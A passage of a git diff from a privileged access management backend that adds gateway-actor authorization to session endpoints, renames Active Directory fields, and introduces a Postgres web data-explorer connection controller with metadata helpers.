 import { TGatewayV2ServiceFactory } from "../gateway-v2/gateway-v2-service";
 import { TPamAccountDependenciesDALFactory } from "../pam-discovery/pam-account-dependencies-dal";
-import {
-  TActiveDirectoryAccount,
-  TActiveDirectoryAccountCredentials,
-  TActiveDirectoryResource,
-  TActiveDirectoryResourceConnectionDetails
-} from "./active-directory/active-directory-resource-types";
 import {
   TAwsIamAccount,
   TAwsIamAccountCredentials,
@@ -83,8 +77,7 @@ export type TPamResource =
   | TKubernetesResource
   | TRedisResource
   | TMongoDBResource
-  | TWindowsResource
-  | TActiveDirectoryResource;
+  | TWindowsResource;
 export type TPamResourceWithFavorite = TPamResources & { isFavorite: boolean };
 export type TPamResourceConnectionDetails =
   | TPostgresResourceConnectionDetails
@@ -95,8 +88,7 @@ export type TPamResourceConnectionDetails =
   | TAwsIamResourceConnectionDetails
   | TRedisResourceConnectionDetails
   | TMongoDBResourceConnectionDetails
-  | TWindowsResourceConnectionDetails
-  | TActiveDirectoryResourceConnectionDetails;
+  | TWindowsResourceConnectionDetails;
 export type TPamResourceInternalMetadata = TSSHResourceInternalMetadata | TWindowsResourceInternalMetadata;
 
 // Account types
@@ -109,8 +101,7 @@ export type TPamAccount =
   | TKubernetesAccount
   | TRedisAccount
   | TMongoDBAccount
-  | TWindowsAccount
-  | TActiveDirectoryAccount;
+  | TWindowsAccount;
 
 export type TPamAccountCredentials =
   | TPostgresAccountCredentials
@@ -121,14 +112,13 @@ export type TPamAccountCredentials =
   | TAwsIamAccountCredentials
   | TRedisAccountCredentials
   | TMongoDBAccountCredentials
-  | TWindowsAccountCredentials
-  | TActiveDirectoryAccountCredentials;
+  | TWindowsAccountCredentials;
 
 // Resource DTOs
 export type TCreateResourceDTO = Pick<TPamResource, "name" | "connectionDetails" | "resourceType" | "projectId"> & {
   gatewayId?: string | null;
   rotationAccountCredentials?: TPamAccountCredentials | null;
-  adServerResourceId?: string | null;
+  domainId?: string | null;
   metadata?: z.input<typeof ResourceMetadataNonEncryptionSchema>;
 };
 
diff --git a/backend/src/ee/services/pam-resource/postgres/postgres-resource-schemas.ts b/backend/src/ee/services/pam-resource/postgres/postgres-resource-schemas.ts
index 554a414c9a3..4d6e3c945c8 100644
--- a/backend/src/ee/services/pam-resource/postgres/postgres-resource-schemas.ts
+++ b/backend/src/ee/services/pam-resource/postgres/postgres-resource-schemas.ts
@@ -64,7 +64,7 @@ export const UpdatePostgresAccountSchema = BaseUpdatePamAccountSchema.extend({
 });
 
 export const SanitizedPostgresAccountWithResourceSchema = BasePamAccountSchemaWithResource.extend({
-  resourceType: z.literal(PamResource.Postgres),
+  parentType: z.literal(PamResource.Postgres),
   credentials: PostgresAccountCredentialsSchema.pick({
     username: true
   })
diff --git a/backend/src/ee/services/pam-resource/redis/redis-resource-schemas.ts b/backend/src/ee/services/pam-resource/redis/redis-resource-schemas.ts
index 99c578e730a..2070498612b 100644
--- a/backend/src/ee/services/pam-resource/redis/redis-resource-schemas.ts
+++ b/backend/src/ee/services/pam-resource/redis/redis-resource-schemas.ts
@@ -83,7 +83,7 @@ export const UpdateRedisAccountSchema = BaseUpdatePamAccountSchema.extend({
 });
 
 export const SanitizedRedisAccountWithResourceSchema = BasePamAccountSchemaWithResource.extend({
-  resourceType: z.literal(PamResource.Redis),
+  parentType: z.literal(PamResource.Redis),
   credentials: RedisAccountCredentialsSchema.pick({
     username: true
   })
diff --git a/backend/src/ee/services/pam-resource/ssh/ssh-resource-schemas.ts b/backend/src/ee/services/pam-resource/ssh/ssh-resource-schemas.ts
index fa06bfb3534..61866cfbb6e 100644
--- a/backend/src/ee/services/pam-resource/ssh/ssh-resource-schemas.ts
+++ b/backend/src/ee/services/pam-resource/ssh/ssh-resource-schemas.ts
@@ -100,6 +100,11 @@ export const SSHResourceInternalMetadataSchema = z.object({
   caKeyAlgorithm: z.string()
 });
 
+export const SanitizedSSHResourceInternalMetadataSchema = SSHResourceInternalMetadataSchema.pick({
+  caPublicKey: true,
+  caKeyAlgorithm: true
+});
+
 // Accounts
 export const SSHAccountSchema = BasePamAccountSchema.extend({
   credentials: SSHAccountCredentialsSchema
@@ -114,7 +119,7 @@ export const UpdateSSHAccountSchema = BaseUpdatePamAccountSchema.extend({
 });
 
 export const SanitizedSSHAccountWithResourceSchema = BasePamAccountSchemaWithResource.extend({
-  resourceType: z.literal(PamResource.SSH),
+  parentType: z.literal(PamResource.SSH),
   credentials: z.discriminatedUnion("authMethod", [
     z.object({
       authMethod: z.literal(SSHAuthMethod.Password),
diff --git a/backend/src/ee/services/pam-resource/windows-server/windows-server-resource-schemas.ts b/backend/src/ee/services/pam-resource/windows-server/windows-server-resource-schemas.ts
index 29385e2f613..76da493dc0f 100644
--- a/backend/src/ee/services/pam-resource/windows-server/windows-server-resource-schemas.ts
+++ b/backend/src/ee/services/pam-resource/windows-server/windows-server-resource-schemas.ts
@@ -64,6 +64,11 @@ export const WindowsResourceInternalMetadataSchema = z.object({
   osVersionDetail: z.string().optional()
 });
 
+export const SanitizedWindowsResourceInternalMetadataSchema = WindowsResourceInternalMetadataSchema.pick({
+  osVersion: true,
+  osVersionDetail: true
+});
+
 export const WindowsResourceSchema = BaseWindowsResourceSchema.extend({
   connectionDetails: WindowsResourceConnectionDetailsSchema,
   rotationAccountCredentials: WindowsAccountCredentialsSchema.nullable().optional()
@@ -82,13 +87,13 @@ export const SanitizedWindowsResourceSchema = BaseWindowsResourceSchema.extend({
 export const CreateWindowsResourceSchema = BaseCreateGatewayPamResourceSchema.extend({
   connectionDetails: WindowsResourceConnectionDetailsSchema,
   rotationAccountCredentials: WindowsAccountCredentialsSchema.nullable().optional(),
-  adServerResourceId: z.string().uuid().nullable().optional()
+  domainId: z.string().uuid().nullable().optional()
 });
 
 export const UpdateWindowsResourceSchema = BaseUpdateGatewayPamResourceSchema.extend({
   connectionDetails: WindowsResourceConnectionDetailsSchema.optional(),
   rotationAccountCredentials: WindowsAccountCredentialsSchema.nullable().optional(),
-  adServerResourceId: z.string().uuid().nullable().optional()
+  domainId: z.string().uuid().nullable().optional()
 });
 
 // Accounts
@@ -108,7 +113,7 @@ export const UpdateWindowsAccountSchema = BaseUpdatePamAccountSchema.extend({
 });
 
 export const SanitizedWindowsAccountWithResourceSchema = BasePamAccountSchemaWithResource.extend({
-  resourceType: z.literal(PamResource.Windows),
+  parentType: z.literal(PamResource.Windows),
   credentials: z.object({
     username: z.string()
   }),
diff --git a/backend/src/ee/services/pam-session/pam-session-dal.ts b/backend/src/ee/services/pam-session/pam-session-dal.ts
index 7da9305522c..693f62a8c2b 100644
--- a/backend/src/ee/services/pam-session/pam-session-dal.ts
+++ b/backend/src/ee/services/pam-session/pam-session-dal.ts
@@ -58,6 +58,7 @@ export const pamSessionDALFactory = (db: TDbClient) => {
       .leftJoin(TableName.GatewayV2, `${TableName.PamResource}.gatewayId`, `${TableName.GatewayV2}.id`)
       .select(selectAllTableCols(TableName.PamSession))
       .select(db.ref("identityId").withSchema(TableName.GatewayV2).as("gatewayIdentityId"))
+      .select(db.ref("id").withSchema(TableName.GatewayV2).as("gatewayId"))
       .where(`${TableName.PamSession}.projectId`, projectId);
 
     return sessions;
diff --git a/backend/src/ee/services/pam-session/pam-session-schemas.ts b/backend/src/ee/services/pam-session/pam-session-schemas.ts
index 8174aafb7a1..c2e397494f5 100644
--- a/backend/src/ee/services/pam-session/pam-session-schemas.ts
+++ b/backend/src/ee/services/pam-session/pam-session-schemas.ts
@@ -60,6 +60,7 @@ export const SanitizedSessionSchema = PamSessionsSchema.omit({
 }).extend({
   logs: z.array(z.union([PamSessionCommandLogSchema, HttpEventSchema, TerminalEventSchema])),
   gatewayIdentityId: z.string().nullable().optional(),
+  gatewayId: z.string().nullable().optional(),
   aiInsights: AiInsightsSchema
 });
 
diff --git a/backend/src/ee/services/pam-session/pam-session-service.ts b/backend/src/ee/services/pam-session/pam-session-service.ts
index a5920313e6e..8c5e72fd860 100644
--- a/backend/src/ee/services/pam-session/pam-session-service.ts
+++ b/backend/src/ee/services/pam-session/pam-session-service.ts
@@ -7,6 +7,8 @@ import { BadRequestError, ForbiddenRequestError, NotFoundError } from "@app/lib/
 import { GatewayProxyProtocol } from "@app/lib/gateway/types";
 import { createGatewayConnection, createRelayConnection } from "@app/lib/gateway-v2/gateway-v2";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { OrgServiceActor } from "@app/lib/types";
 import { ActorType } from "@app/services/auth/auth-type";
 import { TKmsServiceFactory } from "@app/services/kms/kms-service";
@@ -57,13 +59,14 @@ export const pamSessionServiceFactory = ({
       status: string;
       expiresAt: Date | null;
       gatewayIdentityId?: string | null;
+      gatewayId?: string | null;
       projectId?: string | null;
     }
   >(
     session: T
   ): Promise<T> => {
     // Skip gateway-based sessions - they have their own lifecycle managed by the gateway
-    if (session.gatewayIdentityId) {
+    if (session.gatewayIdentityId || session.gatewayId) {
       return session;
     }
 
@@ -142,8 +145,8 @@ export const pamSessionServiceFactory = ({
   };
 
   const updateLogsById = async ({ sessionId, logs }: TUpdateSessionLogsDTO, actor: OrgServiceActor) => {
-    // To be hit by gateways only
-    if (actor.type !== ActorType.IDENTITY) {
+    // To be hit by gateways only (identity-based or enrollment-flow)
+    if (actor.type !== ActorType.IDENTITY && actor.type !== ActorType.GATEWAY) {
       throw new ForbiddenRequestError({ message: "Only gateways can perform this action" });
     }
 
@@ -154,25 +157,37 @@ export const pamSessionServiceFactory = ({
       throw new BadRequestError({ message: "Cannot update logs for sessions with existing logs" });
     }
 
-    const project = await projectDAL.findById(session.projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(session.projectId), () =>
+      projectDAL.findById(session.projectId)
+    );
     if (!project) throw new NotFoundError({ message: `Project with ID '${session.projectId}' not found` });
 
-    const { permission } = await permissionService.getOrgPermission({
-      actor: actor.type,
-      actorId: actor.id,
-      orgId: project.orgId,
-      actorAuthMethod: actor.authMethod,
-      actorOrgId: actor.orgId,
-      scope: OrganizationActionScope.Any
-    });
+    if (actor.type === ActorType.IDENTITY) {
+      const { permission } = await permissionService.getOrgPermission({
+        actor: actor.type,
+        actorId: actor.id,
+        orgId: project.orgId,
+        actorAuthMethod: actor.authMethod,
+        actorOrgId: actor.orgId,
+        scope: OrganizationActionScope.Any
+      });
 
-    ForbiddenError.from(permission).throwUnlessCan(
-      OrgPermissionGatewayActions.CreateGateways,
-      OrgPermissionSubjects.Gateway
-    );
+      ForbiddenError.from(permission).throwUnlessCan(
+        OrgPermissionGatewayActions.CreateGateways,
+        OrgPermissionSubjects.Gateway
+      );
+    } else if (actor.type === ActorType.GATEWAY) {
+      if (project.orgId !== actor.orgId) {
+        throw new ForbiddenRequestError({ message: "Gateway does not have access to this session" });
+      }
+    }
 
-    if (session.gatewayIdentityId && session.gatewayIdentityId !== actor.id) {
-      throw new ForbiddenRequestError({ message: "Identity does not have access to update logs for this session" });
+    const authorized =
+      actor.type === ActorType.GATEWAY
+        ? !session.gatewayId || session.gatewayId === actor.id
+        : !session.gatewayIdentityId || session.gatewayIdentityId === actor.id;
+    if (!authorized) {
+      throw new ForbiddenRequestError({ message: "Gateway does not have access to update logs for this session" });
     }
 
     const { encryptor } = await kmsService.createCipherPairWithDataKey({
@@ -188,26 +203,28 @@ export const pamSessionServiceFactory = ({
       encryptedLogsBlob: cipherTextBlob
     });
 
-    return { session: updatedSession, projectId: project.id };
+    return { session: updatedSession, projectId: session.projectId };
   };
 
   const endSessionById = async (sessionId: string, actor: OrgServiceActor) => {
     const session = await pamSessionDAL.findById(sessionId);
     if (!session) throw new NotFoundError({ message: `Session with ID '${sessionId}' not found` });
 
-    const project = await projectDAL.findById(session.projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(session.projectId), () =>
+      projectDAL.findById(session.projectId)
+    );
     if (!project) throw new NotFoundError({ message: `Project with ID '${session.projectId}' not found` });
 
-    const { permission } = await permissionService.getOrgPermission({
-      actor: actor.type,
-      actorId: actor.id,
-      orgId: project.orgId,
-      actorAuthMethod: actor.authMethod,
-      actorOrgId: actor.orgId,
-      scope: OrganizationActionScope.Any
-    });
-
     if (actor.type === ActorType.IDENTITY) {
+      const { permission } = await permissionService.getOrgPermission({
+        actor: actor.type,
+        actorId: actor.id,
+        orgId: project.orgId,
+        actorAuthMethod: actor.authMethod,
+        actorOrgId: actor.orgId,
+        scope: OrganizationActionScope.Any
+      });
+
       ForbiddenError.from(permission).throwUnlessCan(
         OrgPermissionGatewayActions.CreateGateways,
         OrgPermissionSubjects.Gateway
@@ -216,12 +233,19 @@ export const pamSessionServiceFactory = ({
       if (session.gatewayIdentityId && session.gatewayIdentityId !== actor.id) {
         throw new ForbiddenRequestError({ message: "Identity does not have access to end this session" });
       }
+    } else if (actor.type === ActorType.GATEWAY) {
+      if (project.orgId !== actor.orgId) {
+        throw new ForbiddenRequestError({ message: "Gateway does not have access to this session" });
+      }
+      if (session.gatewayId && session.gatewayId !== actor.id) {
+        throw new ForbiddenRequestError({ message: "Gateway does not have access to end this session" });
+      }
     } else if (actor.type === ActorType.USER) {
       if (session.userId !== actor.id) {
         throw new ForbiddenRequestError({ message: "You are not authorized to end this session" });
       }
     } else {
-      throw new ForbiddenRequestError({ message: "Only identities and users can perform this action" });
+      throw new ForbiddenRequestError({ message: "Only gateways and users can perform this action" });
     }
 
     const updatedSession = await pamSessionDAL.endSessionById(sessionId);
@@ -229,28 +253,25 @@ export const pamSessionServiceFactory = ({
       if (session.status !== PamSessionStatus.Ended && session.status !== PamSessionStatus.Terminated) {
         throw new BadRequestError({ message: "Cannot end sessions that are not active or starting" });
       }
-      return { session, projectId: project.id, alreadyEnded: true };
+      return { session, projectId: session.projectId, alreadyEnded: true };
     }
 
     // Fire-and-forget AI summarization
     void (async () => {
       try {
-        await pamSessionAiSummaryService.queueAiSummary(sessionId, project.id);
+        await pamSessionAiSummaryService.queueAiSummary(sessionId, session.projectId);
       } catch (err) {
         logger.error({ sessionId, err }, `Failed to queue AI summary for ended session [sessionId=${sessionId}]`);
       }
     })();
 
-    return { session: updatedSession, projectId: project.id, alreadyEnded: false };
+    return { session: updatedSession, projectId: session.projectId, alreadyEnded: false };
   };
 
   const terminateSessionById = async (sessionId: string, actor: OrgServiceActor) => {
     const session = await pamSessionDAL.findById(sessionId);
     if (!session) throw new NotFoundError({ message: `Session with ID '${sessionId}' not found` });
 
-    const project = await projectDAL.findById(session.projectId);
-    if (!project) throw new NotFoundError({ message: `Project with ID '${session.projectId}' not found` });
-
     const { permission } = await permissionService.getProjectPermission({
       actor: actor.type,
       actorAuthMethod: actor.authMethod,
@@ -265,16 +286,18 @@ export const pamSessionServiceFactory = ({
       ProjectPermissionSub.PamSessions
     );
 
+    // No project lookup needed: getProjectPermission above throws NotFoundError if the
+    // project doesn't exist, and session.projectId === project.id by definition.
     // Atomic update: only transitions active/starting → terminated
     const updatedSession = await pamSessionDAL.terminateSessionById(sessionId);
     if (!updatedSession) {
-      return { session, projectId: project.id, alreadyEnded: true };
+      return { session, projectId: session.projectId, alreadyEnded: true };
     }
 
     // Fire-and-forget AI summarization
     void (async () => {
       try {
-        await pamSessionAiSummaryService.queueAiSummary(sessionId, project.id);
+        await pamSessionAiSummaryService.queueAiSummary(sessionId, session.projectId);
       } catch (err) {
         logger.error({ sessionId, err }, `Failed to queue AI summary for terminated session [sessionId=${sessionId}]`);
       }
@@ -326,7 +349,7 @@ export const pamSessionServiceFactory = ({
       })();
     }
 
-    return { session: updatedSession, projectId: project.id, alreadyEnded: false };
+    return { session: updatedSession, projectId: session.projectId, alreadyEnded: false };
   };
 
   const getSessionLogs = async (sessionId: string, offset: number, limit: number, actor: OrgServiceActor) => {
@@ -375,32 +398,45 @@ export const pamSessionServiceFactory = ({
   };
 
   const uploadEventBatch = async ({ sessionId, startOffset, events }: TUploadEventBatchDTO, actor: OrgServiceActor) => {
-    if (actor.type !== ActorType.IDENTITY) {
+    // To be hit by gateways only (identity-based or enrollment-flow)
+    if (actor.type !== ActorType.IDENTITY && actor.type !== ActorType.GATEWAY) {
       throw new ForbiddenRequestError({ message: "Only gateways can perform this action" });
     }
 
     const session = await pamSessionDAL.findById(sessionId);
     if (!session) throw new NotFoundError({ message: `Session with ID '${sessionId}' not found` });
 
-    const project = await projectDAL.findById(session.projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(session.projectId), () =>
+      projectDAL.findById(session.projectId)
+    );
     if (!project) throw new NotFoundError({ message: `Project with ID '${session.projectId}' not found` });
 
-    const { permission } = await permissionService.getOrgPermission({
-      actor: actor.type,
-      actorId: actor.id,
-      orgId: project.orgId,
-      actorAuthMethod: actor.authMethod,
-      actorOrgId: actor.orgId,
-      scope: OrganizationActionScope.Any
-    });
+    if (actor.type === ActorType.IDENTITY) {
+      const { permission } = await permissionService.getOrgPermission({
+        actor: actor.type,
+        actorId: actor.id,
+        orgId: project.orgId,
+        actorAuthMethod: actor.authMethod,
+        actorOrgId: actor.orgId,
+        scope: OrganizationActionScope.Any
+      });
 
-    ForbiddenError.from(permission).throwUnlessCan(
-      OrgPermissionGatewayActions.CreateGateways,
-      OrgPermissionSubjects.Gateway
-    );
+      ForbiddenError.from(permission).throwUnlessCan(
+        OrgPermissionGatewayActions.CreateGateways,
+        OrgPermissionSubjects.Gateway
+      );
+    } else if (actor.type === ActorType.GATEWAY) {
+      if (project.orgId !== actor.orgId) {
+        throw new ForbiddenRequestError({ message: "Gateway does not have access to this session" });
+      }
+    }
 
-    if (session.gatewayIdentityId && session.gatewayIdentityId !== actor.id) {
-      throw new ForbiddenRequestError({ message: "Identity does not have access to upload events for this session" });
+    const authorized =
+      actor.type === ActorType.GATEWAY
+        ? !session.gatewayId || session.gatewayId === actor.id
+        : !session.gatewayIdentityId || session.gatewayIdentityId === actor.id;
+    if (!authorized) {
+      throw new ForbiddenRequestError({ message: "Gateway does not have access to upload events for this session" });
     }
 
     const { encryptor } = await kmsService.createCipherPairWithDataKey({
@@ -412,7 +448,7 @@ export const pamSessionServiceFactory = ({
 
     const { wasInserted } = await pamSessionEventBatchDAL.upsertBatch(sessionId, startOffset, cipherTextBlob);
 
-    return { projectId: project.id, wasInserted };
+    return { projectId: session.projectId, wasInserted };
   };
 
   return { getById, list, getSessionLogs, updateLogsById, endSessionById, terminateSessionById, uploadEventBatch };
diff --git a/backend/src/ee/services/pam-web-access/pam-postgres-connection-controller.ts b/backend/src/ee/services/pam-web-access/pam-postgres-connection-controller.ts
new file mode 100644
index 00000000000..88f3ce9c343
--- /dev/null
+++ b/backend/src/ee/services/pam-web-access/pam-postgres-connection-controller.ts
@@ -0,0 +1,309 @@
+import { parse as parseSql } from "libpg-query";
+import pg from "pg";
+import Cursor from "pg-cursor";
+
+import { logger } from "@app/lib/logger";
+
+import { getTableDetailQuery } from "./pam-postgres-data-explorer-metadata";
+import {
+  PostgresClientMessageType,
+  PostgresServerMessageType,
+  type TPostgresClientMessage,
+  type TPostgresCorrelatedServerMessage
+} from "./pam-postgres-ws-types";
+
+type ControllerParams = {
+  relayPort: number;
+  username: string;
+  database: string;
+  sessionId: string;
+  connectionId: string;
+  sendResponse: (msg: TPostgresCorrelatedServerMessage) => void;
+  onUnexpectedTermination: (reason: string) => void;
+};
+
+// Tab-scoped messages the controller handles. Metadata (get-schemas, get-tables)
+// and lifecycle messages are handled at the multiplexer layer.
+type TTabScopedMessage = Extract<
+  TPostgresClientMessage,
+  {
+    type: PostgresClientMessageType.GetTableDetail | PostgresClientMessageType.Query | PostgresClientMessageType.Cancel;
+  }
+>;
+
+export type TPostgresConnectionController = {
+  connectionId: string;
+  backendPid: number | null;
+  handleMessage: (msg: TTabScopedMessage) => void;
+  dispose: () => void;
+  isDisposing: () => boolean;
+};
+
+// Type parser shared between the pg.Client and pg-cursor instances so all
+// results — whether fetched via the simple query path or cursor — apply the
+// same normalisation rules.
+const pgTypes = {
+  getTypeParser: (oid: number) => {
+    // Boolean (OID 16): Postgres wire protocol sends 't'/'f' — expand to 'true'/'false'
+    // so the Data Explorer UI displays human-readable literals.
+    if (oid === 16)
+      return (val: string | Buffer) => {
+        const raw = typeof val === "string" ? val : val.toString("utf8");
+        return raw === "t" ? "true" : "false";
+      };
+    return (val: string | Buffer) => (typeof val === "string" ? val : val.toString("hex"));
+  }
+};
+
+export const createPostgresConnectionController = async (
+  params: ControllerParams
+): Promise<TPostgresConnectionController> => {
+  const { relayPort, username, database, sessionId, connectionId, sendResponse, onUnexpectedTermination } = params;
+
+  const pgClient = new pg.Client({
+    host: "localhost",
+    port: relayPort,
+    user: username,
+    database,
+    password: "",
+    ssl: false,
+    connectionTimeoutMillis: 30_000,
+    statement_timeout: 30_000,
+    types: pgTypes
+  });
+
+  await pgClient.connect();
+
+  const { rows: pidRows } = await pgClient.query<{ pid: number }>("SELECT pg_backend_pid() AS pid");
+  const backendPid = pidRows[0]?.pid ?? null;
+
+  // Server-side transaction state — updated after every query so the client
+  // always receives the authoritative value, including for multi-statement SQL.
+  let isInTransaction = false;
+  let disposing = false;
+
+  const sendQueryError = async (id: string, err: unknown) => {
+    const pgErr = err as { message?: string; detail?: string; hint?: string };
+
+    // If the failed query was inside a transaction, roll back so the
+    // connection is not stuck in an aborted transaction state.
+    try {
+      await pgClient.query("ROLLBACK");
+    } catch {
+      // ROLLBACK fails if there was no active transaction — safe to ignore.
+    }
+
+    isInTransaction = false;
+
+    sendResponse({
+      type: PostgresServerMessageType.Error,
+      id,
+      connectionId,
+      transactionOpen: false,
+      error: pgErr.message ?? "Query execution failed",
+      detail: pgErr.detail,
+      hint: pgErr.hint
+    });
+  };
+
+  // Cancel the currently running query via pg_cancel_backend.
+  // Runs on a separate connection so it is not blocked by the sequential queue.
+  const cancelRunningQuery = async () => {
+    if (!backendPid) return;
+    const cancelClient = new pg.Client({
+      host: "localhost",
+      port: relayPort,
+      user: username,
+      database,
+      password: "",
+      ssl: false,
+      connectionTimeoutMillis: 5_000
+    });
+    // pg.Client is an EventEmitter; an unhandled 'error' would throw and
+    // crash the Node process. Attach a no-op listener.
+    cancelClient.on("error", (err) => {
+      logger.debug(err, `Cancel client error [sessionId=${sessionId}] [connectionId=${connectionId}]`);
+    });
+    try {
+      await cancelClient.connect();
+      await cancelClient.query("SELECT pg_cancel_backend($1)", [backendPid]);
+    } catch (err) {
+      logger.debug(err, `Failed to cancel backend query [sessionId=${sessionId}] [connectionId=${connectionId}]`);
+    } finally {
+      await cancelClient.end().catch(() => {});
+    }
+  };
+
+  // Sequential message processing to prevent concurrent query issues on the
+  // same pg.Client. Each controller has its own queue.
+  let processingPromise: Promise<void> = Promise.resolve();
+
+  const handleMessage = (message: TTabScopedMessage) => {
+    // Cancel is handled immediately outside the sequential queue so it can
+    // interrupt a running query rather than waiting behind it.
+    if (message.type === PostgresClientMessageType.Cancel) {
+      if (disposing) return;
+      void cancelRunningQuery();
+      return;
+    }
+
+    processingPromise = processingPromise
+      .then(async () => {
+        if (disposing) return;
+
+        switch (message.type) {
+          case PostgresClientMessageType.GetTableDetail: {
+            try {
+              const query = getTableDetailQuery(message.schema, message.table);
+              const result = await pgClient.query<{ result: string }>(query.text, query.values);
+              const rawDetail = result.rows[0]?.result;
+              if (!rawDetail) {
+                sendResponse({
+                  type: PostgresServerMessageType.Error,
+                  id: message.id,
+                  connectionId,
+                  transactionOpen: isInTransaction,
+                  error: "Table not found or no metadata available"
+                });
+                break;
+              }
+              const detail =
+                typeof rawDetail === "string"
+                  ? (JSON.parse(rawDetail) as Record<string, unknown>)
+                  : (rawDetail as unknown as Record<string, unknown>);
+              sendResponse({
+                type: PostgresServerMessageType.TableDetail,
+                id: message.id,
+                connectionId,
+                transactionOpen: isInTransaction,
+                data: detail as {
+                  columns: {
+                    name: string;
+                    type: string;
+                    nullable: boolean;
+                    identityGeneration: string | null;
+                  }[];
+                  primaryKeys: string[];
+                  foreignKeys: {
+                    constraintName: string;
+                    columns: string[];
+                    targetSchema: string;
+                    targetTable: string;
+                    targetColumns: string[];
+                  }[];
+                }
+              });
+            } catch (err) {
+              await sendQueryError(message.id, err);
+            }
+            break;
+          }
+
+          case PostgresClientMessageType.Query: {
+            try {
+              const startTime = performance.now();
+              const MAX_ROWS = 1000;
+
+              // Split the SQL into individual statements using the real PostgreSQL C parser
+              // (via libpg-query WASM). Each statement is then run through a pg-cursor with
+              // an explicit row cap — the server sends at most MAX_ROWS+1 rows at the wire
+              // level regardless of result set size, so memory usage is bounded.
+              // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment
+              const parsed = await parseSql(message.sql);
+              // eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
+              const stmtTexts = (parsed.stmts as Array<{ stmt_location?: number; stmt_len?: number }>).map((s) => {
+                const location = s.stmt_location ?? 0;
+                return s.stmt_len !== undefined
+                  ? message.sql.slice(location, location + s.stmt_len)
+                  : message.sql.slice(location).trim();
+              });
+
+              let lastRows: Record<string, unknown>[] = [];
+              let lastFields: { name: string }[] = [];
+              let lastRowCount: number | null = null;
+              let lastCommand = "";
+              let lastIsTruncated = false;
+
+              for (const stmtSql of stmtTexts) {
+                const cursor = pgClient.query(new Cursor(stmtSql.trim(), null, { types: pgTypes }));
+                // eslint-disable-next-line no-await-in-loop
+                const stmtRows = await cursor.read(MAX_ROWS + 1);
+                const stmtIsTruncated = stmtRows.length > MAX_ROWS;
+                if (stmtIsTruncated) stmtRows.splice(MAX_ROWS);
+                // eslint-disable-next-line no-await-in-loop
+                await cursor.close();
+
+                // eslint-disable-next-line no-underscore-dangle
+                const cursorResult = cursor._result;
+                const cmd = (cursorResult.command ?? "").toUpperCase();
+                if (cmd === "BEGIN" || cmd === "START") isInTransaction = true;
+                if (cmd === "COMMIT" || cmd === "ROLLBACK") isInTransaction = false;
+
+                lastRows = stmtRows;
+                lastFields = (cursorResult.fields ?? []).map((f) => ({ name: f.name }));
+                lastRowCount = cursorResult.rowCount;
+                lastCommand = cursorResult.command ?? "";
+                lastIsTruncated = stmtIsTruncated;
+              }
+
+              const executionTimeMs = Math.round(performance.now() - startTime);
+              sendResponse({
+                type: PostgresServerMessageType.QueryResult,
+                id: message.id,
+                connectionId,
+                rows: lastRows,
+                fields: lastFields,
+                rowCount: lastRowCount,
+                isTruncated: lastIsTruncated,
+                transactionOpen: isInTransaction,
+                command: lastCommand,
+                executionTimeMs
+              });
+            } catch (err) {
+              await sendQueryError(message.id, err);
+            }
+            break;
+          }
+
+          default:
+            break;
+        }
+      })
+      .catch((err) => {
+        logger.error(err, `Error processing Postgres message [sessionId=${sessionId}] [connectionId=${connectionId}]`);
+      });
+  };
+
+  // Server-initiated termination — pg.Client errors outside clean dispose.
+  pgClient.on("error", (err) => {
+    if (disposing) return;
+    logger.error(err, `Tab connection error [sessionId=${sessionId}] [connectionId=${connectionId}]`);
+    disposing = true;
+    onUnexpectedTermination(err.message || "Database connection error");
+  });
+
+  pgClient.on("end", () => {
+    if (disposing) return;
+    disposing = true;
+    onUnexpectedTermination("Database connection ended");
+  });
+
+  const dispose = () => {
+    if (disposing) return;
+    disposing = true;
+    // Fire-and-forget: Postgres auto-rollbacks uncommitted txns on socket close
+    // and cleans up backend PIDs when it next tries to write. No explicit
+    // ROLLBACK needed — keeps dispose synchronous from the caller's view.
+    void pgClient.end().catch((err) => {
+      logger.debug(err, `Error closing pg client [sessionId=${sessionId}] [connectionId=${connectionId}]`);
+    });
+  };
+
+  return {
+    connectionId,
+    backendPid,
+    handleMessage,
+    dispose,
+    isDisposing: () => disposing
+  };
+};
diff --git a/backend/src/ee/services/pam-web-access/pam-postgres-metadata.ts b/backend/src/ee/services/pam-web-access/pam-postgres-metadata.ts
new file mode 100644
index 00000000000..90ac171b82b
--- /dev/null
+++ b/backend/src/ee/services/pam-web-access/pam-postgres-metadata.ts
@@ -0,0 +1,66 @@
+import pg from "pg";
+
+import { logger } from "@app/lib/logger";
+
+import { getSchemasQuery, getTablesQuery } from "./pam-postgres-data-explorer-metadata";
+
+// Shared connection options for one-shot metadata queries. Each call opens a
+// fresh pg.Client, runs one query, then disposes — no persistent BE state.
+type OneShotOptions = {
+  relayPort: number;
+  username: string;
+  database: string;
+};
+
+const buildClient = ({ relayPort, username, database }: OneShotOptions): pg.Client => {
+  const client = new pg.Client({
+    host: "localhost",
+    port: relayPort,
+    user: username,
+    database,
+    password: "",
+    ssl: false,
+    connectionTimeoutMillis: 10_000,
+    statement_timeout: 30_000
+  });
+  // pg.Client is an EventEmitter; an unhandled 'error' (e.g. mid-query socket
+  // reset) would throw and crash the Node process. Attach a no-op listener.
+  client.on("error", (err) => {
+    logger.debug(err, "one-shot pg client error");
+  });
+  return client;
+};
+
+const withClient = async <T>(opts: OneShotOptions, fn: (client: pg.Client) => Promise<T>): Promise<T> => {
+  const client = buildClient(opts);
+  await client.connect();
+  try {
+    return await fn(client);
+  } finally {
+    await client.end().catch(() => {});
+  }
+};
+
+export const fetchSchemasOneShot = (opts: OneShotOptions): Promise<{ name: string }[]> =>
+  withClient(opts, async (client) => {
+    const query = getSchemasQuery();
+    const result = await client.query<{ name: string }>(query.text, query.values);
+    return result.rows;
+  });
+
+export const fetchTablesOneShot = (
+  opts: OneShotOptions,
+  schema: string
+): Promise<{ name: string; tableType: string }[]> =>
+  withClient(opts, async (client) => {
+    const query = getTablesQuery(schema);
+    const result = await client.query<{ name: string; tableType: string }>(query.text, query.values);
+    return result.rows;
+  });
+
+// Called once at WS setup to fail fast if credentials or tunnel are broken —
+// preserves the early "Connection error" UX we used to get from pgClient.connect().
+export const verifyReachabilityOneShot = (opts: OneShotOptions): Promise<void> =>
+  withClient(opts, async (client) => {
